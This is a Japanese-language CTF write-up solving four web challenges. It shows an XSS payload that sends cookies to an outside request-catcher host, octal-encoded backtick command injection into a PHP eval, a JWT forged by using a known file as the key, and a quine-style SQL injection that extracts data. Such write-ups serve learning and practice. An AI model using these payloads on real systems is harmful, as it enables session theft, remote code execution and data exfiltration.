https://ctftime.org/event/2322
[Web] I'm the CEO
ソースコード有り。htmxでできたNoteサイトが与えられる。botをまずは見てみる。以下のようにflagをcookieに入れているので、XSSでcookieを抜いてやればよさそう。
// Set Flag await page.setCookie({ name: "flag", httpOnly: false, value: CONFIG.APPFLAG, domain: CONFIG.APPHOST }) let cookies = await page.cookies() console.log(cookies); // Visit URL from user console.log(`bot visiting ${urlToVisit}`) await page.goto(urlToVisit, { waitUntil: 'networkidle2' }); await sleep(8000); cookies = await page.cookies() console.log(cookies);
XSSできそうなポイントを探すと普通にXSSのpayloadでNoteを投稿すると動く。<img src=x onerror=alert(document.domain)>
htmxってanti-XSS defaultではないのか。
<img src=x onerror="fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: document.cookie })">
ともあれ、これを使ってNoteを作ってAdmin botに踏ませるとフラグが得られる。
https://htmx.org/essays/htmx-sucks/
おもろい。
[Web] Simple calculator
ソースコード有り。中身は簡潔で、フィルターを回避してphpコードのコマンドインジェクションする。
<?php function popCalc() { if (isset($_GET['formula'])) { $formula = $_GET['formula']; if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) { return 'Try Harder !'; } try { eval('$calc = ' . $formula . ';'); return isset($calc) ? $calc : '?'; } catch (ParseError $err) { return 'Error'; } } } $result = popCalc(); echo "Result: " . $result; ?>
a-z\'"
が使えないという条件。紆余曲折してphp jailしていたが、本質はそこではなく、`
が使えるという部分。これを使えばshellを呼べるので`ls -la`
みたいなやつを入れ込むことを考える。コマンド自体はそのままでは書けないので、Octal表現、8進数表現で記載することにする。
https://gchq.github.io/CyberChef/#recipe=To_Octal('Space')Find/Replace(%7B'option':'Simple%20string','string':'%20'%7D,'%5C%5C',true,false,true,false)&input=bHMgLWxh
こんな感じで用意して先頭に/
を付けた`\154\163\40\55\154\141`
を動かすとls -la
できる。
total 16 dr-xr-xr-x 1 www-data www-data 4096 May 24 08:51 . drwxr-xr-x 1 root root 4096 Nov 15 2022 .. -r--r--r-- 1 root root 23 May 24 08:46 flag-eucmCjFHC1oimI0d9XxT7JzANCVOhrFX2OVdy8NxGQ3aPxDLd4WwwQ82eMKlRZBy.txt -r-xr-xr-x 1 root root 467 May 24 08:46 index.php
良い感じ。cat flag-*.txt
でフラグ獲得。
`\143\141\164\40\146\154\141\147\55\52\56\164\170\164`
[Web] BatBot
Discordのbotのソースコードが与えられる。L3akCTFの公式DiscordにBatBot君がいるので話しかけてみる。
hamayanhamayan — 今日 18:44 !help BatBot — 今日 18:44 Help Command: !help (Shows this message) !verify token (Authenticate with a JWT token) !generate (Generate a JWT Token for you)
@bot.command(name='verify') async def authenticate(ctx, *, token=None): try: if isinstance(ctx.channel, discord.DMChannel) == False: await ctx.send("I can't see here 👀 , DM me") else: result = verify_jwt(token) print(ctx.author) print(result) if isinstance(result, dict): username = result.get('username') role = result.get('role') if username and role=='VIP': await ctx.send(f'Welcome Sir! Here is our secret {flag}') elif username: await ctx.send(f'Welcome {username}!') else: await ctx.send('Authentication failed. Please try again.') else: await ctx.send('Authentication failed.') except: await ctx.send('Authentication failed.')
roleがVIPであればフラグがもらえる。verify_jwtを見てみる。
def verify_jwt(token): try: header = jwt.get_unverified_header(token) kid = header['kid'] assert ("/" not in kid) with open(kid, 'r') as file: secret_key = file.read().strip() decoded_token = jwt.decode(token, secret_key, algorithms=['HS256']) return decoded_token except Exception as e: return str(e)
kidからファイルを読み込んで秘密鍵としている。assert ("/" not in kid)
というのがあり、/dev/null
を使う常套テクは使えない。『既知の』良い感じのファイルが無いか考えると、bot.pyが使えそうと気が付く。以下のように、kidとしてbot.pyを使ってJWTトークンを作り、!verify [token]
を投げるとフラグがもらえる。
import jwt import os with open('src/BatBot/bot.py', 'r') as file: secret_key = file.read().strip() headers = { 'kid': 'bot.py' } token = jwt.encode({'username': 'hamayanhamayan','role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers) print(token)
[Web] bbsqli
ソースコード有りで、SQL Injectionできるサイトが与えられる。SQL Injectionできる箇所はここ。
@app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': try: username = request.form['username'] password = request.form['password'] conn = get_db_connection() cursor = conn.cursor() cursor.execute(f'SELECT username,email,password FROM users WHERE username ="{username}"') user = cursor.fetchone() conn.close() if user and user['username'] == username and user['password'] == hash_password(password): session['username'] = user['username'] session['email'] = user['email'] return redirect(url_for('dashboard')) else: return render_template('login.html', error='Invalid username or password') except: return render_template('login.html', error='Invalid username or password') return render_template('login.html')
確かに入力がそのまま移っている。フラグの入り方は以下のような感じ。
def add_flag(flag): conn = get_db_connection() cursor = conn.cursor() cursor.execute('INSERT INTO flags (flag) VALUES (?)', (flag,)) conn.commit() conn.close()
SQL Injectionの発生自体は普通だが、そのあとの検証で情報を抜き出してくるにはuser['username'] == username and user['password'] == hash_password(password)
をtrueにする必要がある部分があり、そこが難しい。Blindで情報を抜き出す際にも応答の差を生み出す必要があるので上記の条件は何とかする必要がある。
結論から言うとQuineという構造を作り出す必要がある。usernameでSQL Injectionを引き起こす必要があるが、その出力のusernameに入力と同じものを出力させる必要がある。このように入力と出力が一致するような構造をQuineと呼び、面白パズルの1つ。以下のような入力をusernameに入れると出力のusernameに同じものが出てきて、emailには(SELECT flag FROM flags)
の結果が入り、passwordには122のmd5ハッシュであるa0a080f42e6f13b3a2df133f073095ddが入る。
" UNION SELECT REPLACE(REPLACE("' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -",CHAR(39),CHAR(34)),CHAR(36),"' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -") AS username, (SELECT flag FROM flags) AS email, "a0a080f42e6f13b3a2df133f073095dd" AS password -- " -- -
よって、以上をusername、passwordを122とするとログインができ、emailに希望のSQL文の結果が入るので、ログイン後にフラグを読み取ることができる。